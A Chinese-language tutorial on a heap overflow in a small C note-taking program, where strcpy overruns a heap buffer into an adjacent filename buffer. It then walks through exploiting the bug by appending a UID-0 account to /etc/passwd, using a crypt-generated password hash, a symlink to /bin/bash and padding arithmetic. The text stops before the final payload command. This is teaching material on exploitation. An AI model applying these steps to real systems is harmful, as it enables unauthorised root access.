一个简单的堆溢出

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>

void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>\n", prog_name, filename);
exit(0);
}

int main(int argc, char *argv[]) {
int userid, fd; // file descriptor
char *buffer, *datafile;

buffer = (char *) malloc(100);
datafile = (char *) malloc(20);
strcpy(datafile, "/var/notes");

if(argc < 2) // If there aren't commandline arguments
usage(argv[0], datafile); // display usage message and exit

strcpy(buffer, argv[1]); // copy into buffer

printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

// Opening the file
fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(fd == -1)
printf("in main() while opening file");
printf("[DEBUG] file descriptor is %d\n", fd);

userid = getuid(); // get the real user ID

// Writing data
if(write(fd, &userid, 4) == -1) // write user ID before note data
printf("in main() while writing userid to file");
write(fd, "\n", 1); // terminate line

if(write(fd, buffer, strlen(buffer)) == -1) // write note
printf("in main() while writing buffer to file");
write(fd, "\n", 1); // terminate line

// Closing file
if(close(fd) == -1)
printf("in main() while closing file");

printf("Note has been saved.\n");
free(buffer);
free(datafile);
}

简单分析

  • 这段代码程序中有两个buffer是存放在堆上面的,这个程序会接收一个参数,并将参数最终写入到/var/notes 这个文件中。
  • 如图所示我们可以计算出两个buffer地址之间的距离是0x70(即112个字节),我们知道第一个buffer是以null为结束的,当我们写入这个buffer长度为112个字节的时候,那么第二个buffer将会被写入到datafile这个buffer开始的部分。
  • 如我们所预期的,第二个buffer被我们写入了空.那么如果被覆盖的不是null,而是其他的呢?会是什么情况
  • 这次,溢出导致第一个buffer写入到了当前文件下的testfile文件中,而不再是/var/notes 这个文件中 ,可以看到当使用free释放内存的时候报错了,这个其实就类似于栈溢出覆盖了返回地址一样。

    漏洞利用

  • 从上面可以看出,文件名可以控制,而且可以append到文件中。这里可能会有几种利用的方式,其中最常见的利用方式就是写文件/etc/passwd,这个文件包含了系统的所有的用户名、ID、登录的shell等信息(对这个文件操作之前请注意先备份O!)
  • 这个文件是以分号分隔开的,依次是登录名、密码、用户ID、组ID,用户名、用户的根目录以及登录的shell,其中密码处可以是x(代表加密,存放在/etc/shadow文件中),也可以直接是加密后的密文,此外用户id为0代表用户会是root的权限,这个时候我们的目标就是在这个文件中追加一条,一个带有密文且id为0的账号。
  • 关于密码加密我们可以使用下面的命令
    1
    2
    xxx@ubuntu:~/Desktop/heapoverflow$ perl -e 'print crypt("M0rk", "AA"). "\n"'
    AAhmo1jgYI0HE

所以我们最终想要在passwd文件中的条目大概是这个样子的
myroot:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash

  • 然而,这个特殊的堆溢出并不允许我们直接这么操作,因为我们必须以/etc/passwd为结束,但是这个限制我们可以使用符号链接来”绕过”,”绕过”方法如下

    1
    2
    3
    4
    xxx@ubuntu:~/Desktop/heapoverflow$ mkdir /tmp/etc
    xxx@ubuntu:~/Desktop/heapoverflow$ ln -s /bin/bash /tmp/etc/passwd
    xxx@ubuntu:~/Desktop/heapoverflow$ ls -l /tmp/etc/passwd
    lrwxrwxrwx 1 xxx xxx 9 Nov 16 20:56 /tmp/etc/passwd -> /bin/bash
  • 这个时候/tmp/etc/passwd指向了/bin/bash,这就意味着我们有了可登陆的shell,这个时候就变成了
    myroot:AAhmo1jgYI0HE:0:0:me:/root:/tmp/etc/passwd

  • 此外这里还需要计算一下me这里需要填充多长才能满足112个字节。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    xxx@ubuntu:~/Desktop/heapoverflow$ echo "myroot:AAhmo1jgYI0HE:0:0::/root:/tmp" |wc -c
    37
    xxx@ubuntu:~/Desktop/heapoverflow$ bc
    bc 1.06.95
    Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.
    This is free software with ABSOLUTELY NO WARRANTY.
    For details type `warranty'.
    112-37+1
    76